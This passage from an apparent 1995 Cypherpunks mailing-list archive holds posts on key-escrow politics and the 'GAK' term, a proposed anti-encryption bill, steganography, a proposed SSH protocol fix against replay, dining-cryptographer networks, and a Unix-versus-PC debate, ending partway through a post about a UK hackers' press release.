important and may even win some special stroking or quid pro quo for fixing 
"our" problem.

The one real flaw in this is that the electorate was just left out of the 
loop, and kept in the dark to boot.  When the elected official went into "we" 
mode he ceased representing the people who sent him there.  In these 
increasingly totalitarian times it's likely his representation was 
distinctly CONTRARY to the interest of those who sent him there.

There have been cases of agencies approaching "their" congressman and having 
completely new language inserted in a conference bill -- language that was 
never in the original, never offered as an amendment until the bill from each 
house went to conference, and never debated when the conformed bills returned 
for final vote.  It's the norm that such maneuvers go completely unreported 
in the media.

>Congressmen are by and large harried and ignorant people. They have no
>idea what any of this is about. We have the choice of letting Louis
>Freeh do all the educating, or having a white shoe Washington PR firm
>do some of the educating, too. I favor the latter approach.

There is also something that is almost always overlooked... taking names.  It 
is possible to "pull on the string" and follow the visible event back to the 
less immediately visible actors.  The congresscritters, though by and large 
harried and ignorant, are not always guiltless.  At best they are willing 
agents for little bits and pieces of the fabric of overweening statism.  In 
every case, though, there are faceless staffers who may also be harried but 
are usually NOT ignorant.  The staffers are often the ones who "sell" the 
congresscritter on signing onto this or that non-voter issue for this or that 
self-serving political reason.  Staffers also include the people with huge 
political axes to grind -- people who gravitate to the positions of writing 
the text of the bills that translate the generality to which the elected 
official has acceded into excruciatingly detailed and usually 
confusing legislative language.

There's a relatively small number of really activist people in government, 
and not all of them are public and visible.  It's possible that some 
congresscritters could be defeated with the aid of dissemination back home of 
information on the non-voter issues they've championed and concise 
explanations of how many of those issues work to harm their voters.  It's 
also possible that some of those faceless staffers could be turned into 
liabilities by focusing some light on them, thereby reducing their 
effectiveness and employability.

>This is not to say that we shouldn't be widely deploying crypto -- we
>should. (Of course, offshore sites will always have crypto available,
>but...) 

It would seem that the U.S. may lose a number of good minds who may prefer to 
live and write code in other parts of the world.  This has been a developing 
trend for other reasons, and now people who like to write crypto will have 
another reason to look for a new home.

>This is also not to say that Congress doesn't pass very bad laws.

Name a good one!

>However, I very, very strongly urge that we not assume that nothing
>can be done. Just winning a couple years time could totally alter the
>landscape.

Your urging is appropriate.  It's odd, though, how the country seems to be 
pulling itself in two diametrically opposed directions:  On the one hand the 
electorate shifted significantly in the '94 election, responding with greater 
enthusiasm than even the new young Turks in Congress seem to fully 
comprehend, and seeming to be fed up with too much government, prepared to 
commission the dismantling of federal bureaucracy and getting government the 
hell out of their lives.  On the other hand we see bold and impressive moves 
on the part of politicos and bureaucrats toward a suffocating, draconian 1984 
police state.  We have even heard increasing choruses of "Just following 
orders" and "Just doing my job" from mindless hatchetmen these last few 
decades -- bizarre and incredible echos of the excuses offered in post-WWII 
war crimes defenses.

The country cannot move strongly in these two directions for long: Something 
has to give.  The longer this division persists, the greater the gulf that 
stretches between and the more "interesting" the times that will result when 
one side prevails.  The side that prevails will consume the side that fails 
with an intensity related to the energy built up in the process.

Crypto is presently on the periphery of the larger schism, though it's 
conceivable that twenty years in the future it would be clearly understood by 
most people to be central to privacy in an information age.  The moves to 
head crypto, and thus privacy, off at the pass are being made now, though, in 
an effort to prevent a future in which large numbers of people understand how 
to maintain privacy when everything is a bit stream. 

If there is a critical and unique difference between this and other 
seemingly similar situations it is the 10-15% monthly growth of the Internet, 
something that is orders of magnitude greater than what humans are accustomed 
to perceiving, estimating, handling, coping with.  If recent figures are 
accurate, 7,500+ new web pages have been created in the 33 hours since this 
thread started here and perhaps 100,000 new people are on the net in one way 
or another.  It's unlikely that Grassley or Exon or Leahy can assimilate all 
the implications of that rate of growth.  "Senator, the blob is at the door!" 
 "Well, call the State Police!"  "Uh, sir, they're at least three hours away. 
 In that time the blob will be larger than the State of Idaho!"  

The politicos have never before dealt with a sizable "throwaway minority" 
whose current growth curve intersects the U.S. population curve in 24 months 
and the world population curve in 4 years.  In a couple of days there are 
more new people getting on the net worldwide than are contained in a U.S. 
congressional district.  Partly as a result, there are issues getting 
attention that would have easily been contained just a couple of years ago by 
the policy of benignly overlooking them.  No longer.  If a net mobilization 
was disappointing last month, try it this month and see the difference.  
Movements that took years to form and grow decades ago take days or weeks 
now.  Soon they will take only hours.  

We are just now cresting the big one on the supercharged roller coaster of 
high tech infoplosion, and as the velocity rapidly builds there will be 
profound shock among the old and the slow.  Even the savvy will be surprised. 
Push this medium for all it's worth.  Find ways to promote informed privacy 
as a ground-floor issue for newbies and get them to have a knowledgable, 
vested interest in it.  Get people onto the net.  One new person today is 
four or five people a year from now, 15-28 people two years from now.  Since 
a lot of it spreads from person to person, new people start with tools and 
concepts they get from others, so the initiation of a new netparticipant as a 
privacy-aware crypto user tends to spawn subtrees of new users in the same 
mode.  Use the growth multiplier to outflank 'em while they're noodling.

Would it be more productive to hire the white shoes or start another few ISPs 
and shepherd the new users to be privacy-aware letter writers and faxers?  
Educate your ISPs.  Any ISP that isn't political in this age is brain 
dead and dead weight.  Any ISP that sees its political interests as somehow 
different than those of its users (recent lobbying to shift burdens away 
from national services and onto users, and recent AOL admissions of 
participation in what sounded like entrapping users) is worse than brain dead 
-- it's part of the problem.

Bolivar









From silly at ugcs.caltech.edu  Sat Jul 15 03:06:50 1995
From: silly at ugcs.caltech.edu (me)
Date: Sat, 15 Jul 95 03:06:50 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <9507131855.AA04443@cs.umass.edu>
Message-ID: <199507151006.DAA28022@beat.ugcs.caltech.edu>


In mlist.cypherpunks you write:

>GAK: it's not just a bad idea, it may soon be the law !
Help!   What does GAK stand for?  I've seen it a billion times,
but I missed the original explanation.

It sounds like some sort of key/crypto registration.

(me)





From jim at acm.org  Sat Jul 15 05:18:55 1995
From: jim at acm.org (Jim Gillogly)
Date: Sat, 15 Jul 95 05:18:55 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
In-Reply-To: <199507151006.DAA28022@beat.ugcs.caltech.edu>
Message-ID: <199507151218.FAA00476@mycroft.rand.org>



> silly at ugcs.caltech.edu ((me)) writes:
> Help!   What does GAK stand for?  I've seen it a billion times,

Government Access to Keys; also seen as GACK (Crypto Keys).  This is more
descriptive and accurate than calling it Key Escrow, since escrow is for
the benefit of the parties involved in a transaction.  I think it's Carl
Ellison's invention, and most apt it is.

	Jim Gillogly
	22 Afterlithe S.R. 1995, 12:16





From pgf at tyrell.net  Sat Jul 15 05:38:41 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Sat, 15 Jul 95 05:38:41 PDT
Subject: Receiver anonymity in DC-nets...
Message-ID: <199507151234.AA14413@tyrell.net>



A method occured to me that obviates the need for public-key cryptography
as a method of receiver anonymity in a dining-cryptographer network.

I'm *sure* someone has thought of this before. I don't, however, have
access to netscape or mosaic just now to search the archive with.

If this topic or method has come up before (if you know of it, you'll
know what I'm talking about; if not, and noone has come up with it before,
which I doubt, I'd still like the patent ;-) and one of you guys has the
relevant messages handy could you send them to me? Don't go through any
great trouble, you understand...

Phil





From sandfort at crl.com  Sat Jul 15 05:41:46 1995
From: sandfort at crl.com (Sandy Sandfort)
Date: Sat, 15 Jul 95 05:41:46 PDT
Subject: MANDATORY KEY REGISTRATION
In-Reply-To: <199507151218.FAA00476@mycroft.rand.org>
Message-ID: <Pine.SUN.3.91.950715053310.8362B-100000@crl12.crl.com>


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 15 Jul 1995, Jim Gillogly wrote:

> Government Access to Keys; also seen as GACK (Crypto Keys).  This is more
> descriptive and accurate than calling it Key Escrow, since escrow is for
> the benefit of the parties involved in a transaction.  

I favor the term, "Mandatory Key Registration."  It is even more 
accurate, and parallels gun registration.  This should strike a
sympathetic chord with our pro-2nd Amendment friends.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From jya at pipeline.com  Sat Jul 15 07:01:45 1995
From: jya at pipeline.com (John Young)
Date: Sat, 15 Jul 95 07:01:45 PDT
Subject: POX_usg
Message-ID: <199507151401.KAA14738@pipe4.nyc.pipeline.com>


   7-15-95. NYPaper Page Oners:

   
   "Director of F.B.I. Demotes Deputy: No. 2 Man's Ouster Is
   Tied to Inquiry on Idaho Siege."

      F.B.I. Director Louis J. Freeh today demoted the
      bureau's Deputy Director, Larry A. Potts, citing the
      turmoil created by an internal investigation into the
      destruction of documents relating to the conduct of Mr.
      Potts and other senior F.B.I. officials in a deadly 1992
      standoff with a white separatist in Idaho.     SAV_ass


   "B-2, After 14 Years, Is Still Failing Basic Tests."

      The $44 billion B-2 bomber has radar that cannot
      distinguish a raincloud from a mountainside, has not
      passed most of its basic tests and may not be nearly as
      stealthy as advertised, according to a draft report by
      the General Accounting Office. It was provided to The
      New York Times by a Government official skeptical of the
      bomber's capabilities who sought to bring into the
      debate the report's examples of the B-2's inability to
      pass performance hurdles.                      YB2_gud



   2n1: POX_usg












From Andrew.Spring at ping.be  Sat Jul 15 07:18:36 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Sat, 15 Jul 95 07:18:36 PDT
Subject: def'n of "computer network"
Message-ID: <v01510103ac2ca05c8eb2@[193.74.217.19]>


-----BEGIN PGP SIGNED MESSAGE-----

>rick hoselton writes:
>> Perry, I don't understand.  If the least significant bits in my gif file
>> follow all the "known statistical distributions", how can anyone know
>> whether they are "just noise" or are an encrypted message,

If your attacker has a more sophisticated statistical model of noise
distributions than you do, then he can deduce the existence of message.

>
>Indeed -- how could the recipient even know to look, unless these
>things arrived regularly and with a fully standardized form of
>stegonography, in which case why bother, all you've done is come up
>with a very odd form of transfer encoding.
>
>If the recipient does know to look, that implies either that there is
>a hint, in which case the stegonography is useless, or it implies that
>you have prearrangement, in which case my comments on prearrangement
>hold.

Well, there's things like the subliminal channel in DSS (discussed in Applied
Cryptography) whereby a DSS chip could leak bits of a user's private key.  In
the channel discussed, even if the user suspected the existence of the
channel, there's no way he can prove it.  Now, that's steganography!

-----BEGIN PGP SIGNATURE-----
Version: 2.6ui

iQCVAgUBMAfXAI4k1+54BopBAQHF4AQA2jRHvyKQ0ojYj7GHWpmZ+hz84dsXDtUS
NJHqxjjIK1RtvPFAm4QI8p3lt/ovGKLH+CjpC0QuHZ0B3O3INkz/zD7IwsU+1SJA
QycBquLvh7Q/dPkZ6J6P87Bmy0gzNBJrvW7rxLuOQyu9EOUtixFS2H9lDNa8zISp
xZ/4yrb1/ZE=
=NKwt
-----END PGP SIGNATURE-----

--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From Andrew.Spring at ping.be  Sat Jul 15 07:18:41 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Sat, 15 Jul 95 07:18:41 PDT
Subject: mistake on my part
Message-ID: <v01510100ac2d7f54957c@[193.74.217.19]>


-----BEGIN PGP SIGNED MESSAGE-----

>
>Looking for a place that:
>
>(1.) is reasonably free
>
>(2.) permits Americans to work
>
>(3.) a person trained as an engineer can earn enough to feed and shelter
>     self and 4 dependents.
>

Tattoo this on your arm: N.A.T.O.  If you work overseas, you deduct 70
kilobucks  from your gross income on your 1040.  And NATO civilian
employees pay NO INCOME TAX TO ANY OTHER NATO COUNTRY.
Good bennies package, too.

Downside? A Glacial Slug-like Beauracracy which doesn't seem to get alot done.
3-Year contracts only.  Major competition from Euro's who seem to know about the
perks.

Organization Motto:  "It's a cushy job, but somebody's got to do it."

-----BEGIN PGP SIGNATURE-----
Version: 2.6ui

iQCVAgUBMAfXPo4k1+54BopBAQGxYwP/TkePpofICj/w554DfO2ugqKXo/Jzrz+0
YebTxGHi4cgjDSwnOco4a8GYjDtInbWdyCF9qwt1QzQli7hw4o5fjKKb6as8JOMX
WGcotpJwmsiNgBcUC/aUshmAdHjpK/tkZrwumeV8hx5acxmgqvE8pGNT3Fc0QYhn
QwtB/SWjS9k=
=ejaZ
-----END PGP SIGNATURE-----

--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From Andrew.Spring at ping.be  Sat Jul 15 07:19:00 1995
From: Andrew.Spring at ping.be (Andrew Spring)
Date: Sat, 15 Jul 95 07:19:00 PDT
Subject: Root Causes
Message-ID: <v01510102ac2d82ae5f36@[193.74.217.19]>


-----BEGIN PGP SIGNED MESSAGE-----


>Is there any precedence or possibility of either filing civil or criminal
>charges against a Government official for their _official_ actions?
>Something that will not only make for some Serious Press, but hit them from
>an unexpected angle?
>

It's extremely difficult to do that and not get laughed out of court.
Think about it.  If the president or congress could be sued for their official
actions, every unemployed auto worker would be suing them for not restricting
Japanese imports.  That's what sovereign immunity is for; to keep the
government from being nibbled to death by millions of little nuisance suits
from soreheads all over the country.

>Alternatively, could a civil suit be filed for invasion of privacy or
>somesuch? Or perhaps the previously mentioned violation of civil rights (a
>la Rodney King)?
>

Well actually, Congress is probably not subject to it's own laws on privacy.
I remember during the Clarence Thomas confirmation hearings there was a bit of
a to-do about exactly who it was that leaked Anita Hill's allegations to the
press; and Joe Biden was going around saying "No crimes were committed, no
crimes were committed."  This was explained as Congress-speak for "The leak of
Hill's allegations were done by a Congressman, not a staffer" (It's illegal
for staff member to disclose confidential material, but it's OK for his boss
to do it).

>How many laws, etc, can we invoke? I mean, most congresscritters don't craft
>laws on their own, so the involvement of their staff would constitute
>conspiracy, as well, wouldn't it?
>

First rule of computer self preservation: never try to hack a hacker.  Any
legal harrassment you can do to them, they can do to you.  They're better at
it, and they've got a lot more money than you do.


-----BEGIN PGP SIGNATURE-----
Version: 2.6ui

iQCVAgUBMAfWao4k1+54BopBAQGjXgP/e6I7dvnOb45EGD4M06KIuKvZu1FqAQFV
Ljt5YFwPrIJuvoiVCZ+u/5d4EGsmCjh3kAUmFY/mJG/9dUj4nFMJFZjssjtuVi3X
hY4I/XFzx6tyTEE0RYOjgZPYx/ruZxegNSBnwMypDAGoYnw2SlExV22hLqVBT3A2
mZLKkHYpm0Q=
=ARI+
-----END PGP SIGNATURE-----

--
Thank you VERY much!  You'll be getting a Handsome Simulfax Copy of your
OWN words in the mail soon (and My Reply).
<Andrew.Spring at ping.be> PGP Print: 0529 C9AF 613E 9E49  378E 54CD E232 DF96
   Thank you for question, exit left to Funway.







From ylo at cs.hut.fi  Sat Jul 15 08:02:37 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Sat, 15 Jul 95 08:02:37 PDT
Subject: Ssh "security hole": proposed fix
In-Reply-To: <9507151255.AA12685@sulphur.osf.org>
Message-ID: <199507151502.SAA01269@shadows.cs.hut.fi>


I am thinking about the following solution to the issues pointed out
by David Mazieres.

These changes propose solutions to the following problems:
  - replay of password-authenticated sessions
  - corrupt server can use RSA authentication to log into another server

When the client receives SSH_SMSG_PUBLIC_KEY, it computes a 128 bit
(16 byte) value by converting the modulus of the public key into a
stream of bytes, msb first.  The cookie sent by the server is appended
to this stream.  Both sides compute the MD5 of the resulting stream.
This value will be called the "session id".

In the SSH_CMSG_SESSION_KEY message, the first 16 bytes of the session
key (before encryption) are xored with the 16 bytes of the session id.
This does not reveal plain text from the RSA-encrypted part, but binds
the encrypted session key to a specific cookie and server.  This
should eliminate the possibility of replay, because the cookie is
unique for each connection.

In all SSH_CMSG_AUTH_RSA_RESPONSE messages (used both in user and
client host authentication), append the session id to the decrypted
challenge before computing MD5.  The MD5 is computed from the
resulting 48 bytes.  This makes the response bound to the server
cookie and the server key, and should elinate using the same response
for another server.  (Faking the server key is hard, because the
client verifies that it matches the one stored in its database.)

If a server supports this revision of the protocol, it reports its
protocol version as 1.1.  If the server protocol version is 1.0, the
client displays a warning (recommending to update server software) and
uses the old protocol for compatibility.  The client reports the
protocol version that it will use.  The compatibility code will be
removed in a later release.  (The changes are easy to implement
compatibly.)

I would like to receive comments on this.

    Tatu





From pgf at tyrell.net  Sat Jul 15 08:06:42 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Sat, 15 Jul 95 08:06:42 PDT
Subject: Mods to Dining Cryptographers: legal questions...
Message-ID: <199507151502.AA25734@tyrell.net>



I'm sorry if I was a little mysterious about my reference to
another use or mode of a DC-net; I'd _love_ to tell the rest of
you flat-out, and put the idea in the public domain, but I'm
not sure I _CAN_.

(All of this is only relevant, however, if noone else has thought of
it first; I think this is unlikely at the moment, as it would mandate
a large rewriting of the section on DC-nets in the cyphernomicon. On
the other hand, I'm kinda suprised that noone else has thought of
this.)

Anyway, I just have this awful feeling that if I post this, there's
going to be a stupid patent application filed by someone like Jim
Bidzos claiming this and I won't be able to do anything about it.
(Please note I mean the people _like_ Jim Bidzos and not Jim Bidzos
himself; he's merely an example of someone who has a lot of capital to
spend on software patents. I don't, and don't mean to say that _he_
goes around stealing ideas from other people and patenting them.)

How do I do this and protect myself from the people who do have the
money to go through the intellectual property courthouse game?

Should I just dump this in the public domain? 

Perhaps show it to a trusted individual (or two) on this list to look
at and see whether it is worth further development (perhaps not?)?

Are there any patents on Dining-Cryptographers networks that could
interfere with the placing in the public domain, or the patenting, of
an improvement to the network system?

I need help.

Phil

+----------------+Quote from _Infinite In All Directions_, F.J. Dyson-----+
| Phil Fraering / \"The English Hierarchy, if there be anything unsound in|
| pgf at tyrell.net\ /its constitution, has reason to tremble even at an air |
+----------------+-pump or an electrical machine."---Joseph Priestly------+





From jgrubs at voxbox.norden1.com  Sat Jul 15 08:10:33 1995
From: jgrubs at voxbox.norden1.com (Jim Grubs, W8GRT)
Date: Sat, 15 Jul 95 08:10:33 PDT
Subject: MISC> Current US National Security Directives published
In-Reply-To: <3tuelf$6e3@westie.mid.net>
Message-ID: <kVca9c2w165w@voxbox.norden1.com>


Path: voxbox!hypnos!ragnarok.oar.net!malgudi.oar.net!kira.cc.uakron.edu!neoucom.edu!news.ysu.edu!news.ecn.uoknor.edu!bubba.ucc.okstate.edu!news.ksu.ksu.edu!news.mid.net!news.mid.net!not-for-mail
From: Gleason Sackman <sackman at plains.nodak.edu>
Newsgroups: comp.internet.net-happenings
Subject: MISC> Current US National Security Directives published
Message-ID: <3tuelf$6e3 at westie.mid.net>
Date: 11 Jul 1995 13:07:43 -0500
Sender: infoserv at news.mid.net
Organization: MIDnet, the Midwest's Gateway to the Global Internet.
Lines: 96
Approved: ralphie
NNTP-Posting-Host: westie.mid.net

*** From Net-Happenings Moderator ***

Date: Mon, 26 Jun 1995 18:15:21 -0500
From: SIMPSON at AUVM.AMERICAN.EDU
Subject: Current US National Security Directives published

CURRENT U.S. NATIONAL SECURITY DIRECTIVES PUBLISHED

This announcement is likely to be of particular interest to
librarians, historians, and journalists specializing in government
documents, international affairs, military affairs and military
history, nuclear policy, outer space, and US trade and technology
policy.....

Thank you for letting me share this with you.
			-- Christopher Simpson


I've compiled an unusually complete collection of presidential
National Security Decision Directives from the administrations of
Ronald Reagan and George Bush (1981-1993). The collection is similar
in certain respects to the well known _Foreign Relations of the
United States_ (FRUS) series, but is far more current. The
declassified texts of more than 250 NSDD's are included; each text
has an introduction describing its origin and context; and there is
an extensive cross-index and subject index. The collection goes
considerably beyond the NSDDs available at the US National Archives
or in any other collection, because it includes verbatim texts of
directives that have been leaked  in whole or in part by the
administration, but not formally declassified. It also includes
tables of organization of the National Security Council. The new
collection's format also makes it much less expensive, and easier to
use, catalog and store than any comparable microform or hard copy
collection.

Major areas of coverage include:

++ management of US national security policy, covert operations,
weapons procurement, arms control negotiations, and anti-terrorism
policies;

++ US relations with Israel, Europe, USSR, China, Australia,
Nicaragua, Mexico, Central America, East Africa, Japan, Germany,
Southeast Asia, Micronesia, Libya, Egypt, Iran, Iraq, the
Philippines, Yugoslavia, South Africa and Namibia, etc., etc.

++ nuclear weapons procurement and testing, nuclear arms control;
internal debates over SALT, ABM, START, SDI and related matters;
civil defense and FEMA;

++ Space policy, privatization of space assets, NASA-DOD conflicts,
space and aerospace procurement;

++ Trade policy with Japan, G-7 summits, technology transfer,
export controls, economic warfare, subsidies for strategic US
industries;

++ Telecommunications and computer policy, including technology
security policies;

++ drugs and US foreign policy;

++ the Iran-Contra affair and its aftermath;

++ internal security and emergency continuity of government policies;

++ war with Iraq;

and much more.


For further information:

_National Security Directives of the Reagan and Bush
Administrations; The Declassified History of US Political and
Military Policy 1981-1991,_ by Christopher Simpson. 1032 pages.

Westview Press, 1995  isbn: 0-8133-1177-2   list: $119.95

telephone: 303-444-3541     fax: 303-449-3356


"... absolutely indispensable for studying U.S. national security
policies during the Reagan and Bush administrations."
			Melvyn Leffler,
			President, Society for Historians of
			American Foreign Relations

"... painstaking and expert analysis... an important benchmark"
			Charles Tiefer,
			Deputy General Council and Solicitor,
			US House of Representatives


=====================================================






From an250888 at anon.penet.fi  Sat Jul 15 08:27:13 1995
From: an250888 at anon.penet.fi (an250888 at anon.penet.fi)
Date: Sat, 15 Jul 95 08:27:13 PDT
Subject: Deployment
Message-ID: <9507151505.AA23237@anon.penet.fi>


>In addition, now is the time to deploy stego, on a massive scale.  
>How many stego programs have been released for Unix?

Unix?  The masses use DOS, Windows, Mac, and OS/2.  All you Unix gurus
with nifty Unix crypto utilities that PC users can only wonder about
need to buy PC's and start porting now if you want to get anywhere.

Unix?  Hah!  Gimme a break!  Unix is a Warsaw ghetto.


----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From an250888 at anon.penet.fi  Sat Jul 15 08:28:12 1995
From: an250888 at anon.penet.fi (an250888 at anon.penet.fi)
Date: Sat, 15 Jul 95 08:28:12 PDT
Subject: Off Your But and Learn! ;*)
Message-ID: <9507151505.AA23302@anon.penet.fi>


>I am not a programmer either, but I am being motivated to become one. 
>If only there was more time.

Neither am I, but may I suggest the following:

S. Prata, C++ Primer Plus: Teach Yourself Object-Oriented Programming,
2d ed., Waite Group Press, ISBN 1-878739-74-3 (1995).  Nuts & bolts.

S. Lippman, C++ Primer, 2d ed., Addison-Wesley, ISBN 0-201-54848-8
(1993).  Not quite so nuts and bolts, but good to read after covering
the treatment of the same material in Prata.

I've just starting working through these and find them effective.


----------------------------------------------------------------------------
To find out more about the anon service, send mail to help at anon.penet.fi.
If you reply to this message, your message WILL be *automatically* anonymized
and you are allocated an anon id. Read the help file to prevent this.
Please report any problems, inappropriate use etc. to admin at anon.penet.fi.





From pgf at tyrell.net  Sat Jul 15 08:54:53 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Sat, 15 Jul 95 08:54:53 PDT
Subject: Deployment
In-Reply-To: <9507151505.AA23237@anon.penet.fi>
Message-ID: <199507151550.AA29983@tyrell.net>



   >In addition, now is the time to deploy stego, on a massive scale.  
   >How many stego programs have been released for Unix?

   Unix?  The masses use DOS, Windows, Mac, and OS/2.  All you Unix gurus

The masses aren't responsible for the net either; the unix people
generally _are_. AFTER the tools are written for Unix, the stuff
can undoubtedly be ported down to the mainstream OS's. I hear
they're improving.

   with nifty Unix crypto utilities that PC users can only wonder about
   need to buy PC's and start porting now if you want to get anywhere.

   Unix?  Hah!  Gimme a break!  Unix is a Warsaw ghetto.

Unix is a Warsaw ghetto that can be run on almost any current PC,
including many that have problems with Windows '95. And it's more
capable.

You think the penet remailer you just used is running in Windows?







From jpb at shadow.net  Sat Jul 15 10:07:41 1995
From: jpb at shadow.net (Joe Block)
Date: Sat, 15 Jul 95 10:07:41 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <v01520c00ac2d6ccb7194@[198.79.48.47]>


>> silly at ugcs.caltech.edu ((me)) writes:
>> Help!   What does GAK stand for?  I've seen it a billion times,
>
>Government Access to Keys; also seen as GACK (Crypto Keys).  This is more
>descriptive and accurate than calling it Key Escrow, since escrow is for
>the benefit of the parties involved in a transaction.  I think it's Carl
>Ellison's invention, and most apt it is.

I like Federal Usurpation of Citizens Keys for Encrypted Discourse, myself.







From cme at TIS.COM  Sat Jul 15 10:30:43 1995
From: cme at TIS.COM (Carl Ellison)
Date: Sat, 15 Jul 95 10:30:43 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <9507151728.AA15916@tis.com>


>Date: Fri, 14 Jul 95 21:28:27 -0400
>From: "Brian A. LaMacchia" <bal at martigny.ai.mit.edu>
>Subject: Re: Anti-Electronic Racketeering Act of 1995 (fwd)
>
>   >       `(c) It shall be an affirmative defense to prosecution under this
>   >     section that the software at issue used a universal decoding device
>   >     or program that was provided to the Department of Justice prior to
>   >     the distribution.'.
>
>   This isn't escrowed encryption being allowed here.  This is straight giving
>   of keys (or a back door) to the gov't.  Even Clipper fails this test.
>
>Why doesn't GAK satisfy this clause?

[...]  

>
>I don't see how Clipper fails the 1030A(c) test, except possibly for the
>fact that the proposed escrow agents were not both within DOJ.  I think
>that's a minor point.

Sorry.  That's the minor point I was talking about.

For example, one might make an exportable system by doing something really
nice for the gov't and giving NSA a back door master key for it to use.
That doesn't give it to the DoJ -- and I'm not so sure NSA would admit to
the existence of a back door much less release the master key.

 - Carl






From jlasser at rwd.goucher.edu  Sat Jul 15 11:03:56 1995
From: jlasser at rwd.goucher.edu (Jon Lasser)
Date: Sat, 15 Jul 95 11:03:56 PDT
Subject: Deployment
In-Reply-To: <9507151505.AA23237@anon.penet.fi>
Message-ID: <Pine.SUN.3.91.950715135653.2964B-100000@rwd.goucher.edu>


On Sat, 15 Jul 1995 an250888 at anon.penet.fi wrote:

> >In addition, now is the time to deploy stego, on a massive scale.  
> >How many stego programs have been released for Unix?
> 
> Unix?  The masses use DOS, Windows, Mac, and OS/2.  All you Unix gurus
> with nifty Unix crypto utilities that PC users can only wonder about
> need to buy PC's and start porting now if you want to get anywhere.

A legitimate point; however, the majority of PC users won't be in the 
vanguard of /anything/ -- it's not the nature of the PC industry.  If all 
the Unix folks do it, then the PC folks might.

Besides, the first was the point I was making; the second, I was 
personally interested, because, after all, I run unix.

In addition, many of the PC people who do Internet communications do it 
through a unix server anyway.  So it would be beneficial.

Jon
------------------------------------------------------------------------------
Jon Lasser                <jlasser at rwd.goucher.edu>            (410) 494-3253 
          Visit my home page at http://www.goucher.edu/~jlasser/
  You have a friend at the NSA: Big Brother is watching. Finger for PGP key.






From tj at compassnet.com  Sat Jul 15 12:21:12 1995
From: tj at compassnet.com (Bolivar Shagnasty)
Date: Sat, 15 Jul 95 12:21:12 PDT
Subject: Deployment
Message-ID: <Chameleon.4.01.2.950715141932.tj@tjunker.compassnet.com>


I had thought to respond similarly when I first saw this unixcentric 
statement:

>On Sat, 15 Jul 1995 an250888 at anon.penet.fi wrote:
>
>> >In addition, now is the time to deploy stego, on a massive scale.  
>> >How many stego programs have been released for Unix?
>> 
>> Unix?  The masses use DOS, Windows, Mac, and OS/2.  All you Unix gurus
>> with nifty Unix crypto utilities that PC users can only wonder about
>> need to buy PC's and start porting now if you want to get anywhere.

I have to take issue with this, though:

>A legitimate point; however, the majority of PC users won't be in the 
>vanguard of /anything/ -- it's not the nature of the PC industry.  If all 
>the Unix folks do it, then the PC folks might.

The point *is* legitimate.  I disagree that PC users won't be in the vanguard 
of anything:  PC users *are* the market now (gag me with a TSR).  A nifty 
program for PC will be in use by millions in a *very* short time, while a 
similar program for unix will not even be visible to the larger market.  If 
PGP had been limited to the unix market, few people would know of it today.  
Frankly, the PC folks don't give a rat's ass what unix folks do.  Watch the 
production and sales numbers for Windows 95 and gasp.  For better or worse, 
that is the market, and that is where the bucks are to pay for connectivity, 
memory, disk, and... software.

>Besides, the first was the point I was making; the second, I was 
>personally interested, because, after all, I run unix.

I certainly don't want to bash unix, but I can't help but think that one's 
viewpoint of what's going on "out there" is strongly affected by the 
encapsulated universes we create for ourselves.  If you like to run unix but 
hooked into it from another PC running TCP/IP under Windows, you'd see what 
the vast majority of new users see -- no command line, no need to deal with a 
30 year old user interface (send flames to useless.arguments at blackhole.net). 

>In addition, many of the PC people who do Internet communications do it 
>through a unix server anyway.  So it would be beneficial.

Does that matter much?  ISPs are proliferating like mushrooms, and the users 
hooking up to them have PCs and Macs.  Users connect by PPP or SLIP and use 
mail and www clients.  The user interface therefore has nothing to do with 
the connectivity or host OS.  Most of them *never* telnet, and only some of 
them ftp to install web pages.  

Also, more and more people who connect to internet go *through* no ISP server 
at all.  A modem controller at the ISP prompts for userid and password, then 
connects them to an interface that takes them to a router.  Their packets 
flit over to the name server or out on the T1 as required, their traffic 
untouched by unix or any other OS.  An ISDN connection comes in on the same 
T1 that will carry most of its packets back out to the world, with a 
connection manager and router being the closest things to computers involved 
in the process.  At the far end of the net a server running who-cares-which-
OS handles the client's traffic and responds to it by standards that are 
thoroughly OS-independent.

I respectfully submit that improvements of user interface and tinker toy 
integration and development of new tools must be aimed at Windows / OS/2 / 
Mac System to have major impact, and at unix as a convenience to the 
important academic and other communities that work more directly with the 
unix user interfaces.  Academic and scientific users may make the bulk of 
thoughtful contribution in many areas, but that's like server push -- if 
there's no client, nothing happens.


--Bolivar







From alex at forestbk.demon.co.uk  Sat Jul 15 14:16:10 1995
From: alex at forestbk.demon.co.uk (Alex McLean)
Date: Sat, 15 Jul 95 14:16:10 PDT
Subject: Uk hackers
Message-ID: <88422937wnr@forestbk.demon.co.uk>



Hi,

We're preparing to send a press release to all the UK newspapers and 
magazine that we can afford, on the subject of hackers.  So far there 
haven't been many attacks by the media on this often misrepresented 
group, and we hope to start building a good relationship between 
hackers and the media while it is still possible.

We plan to send them a comprehensive letter offering an alternative to 
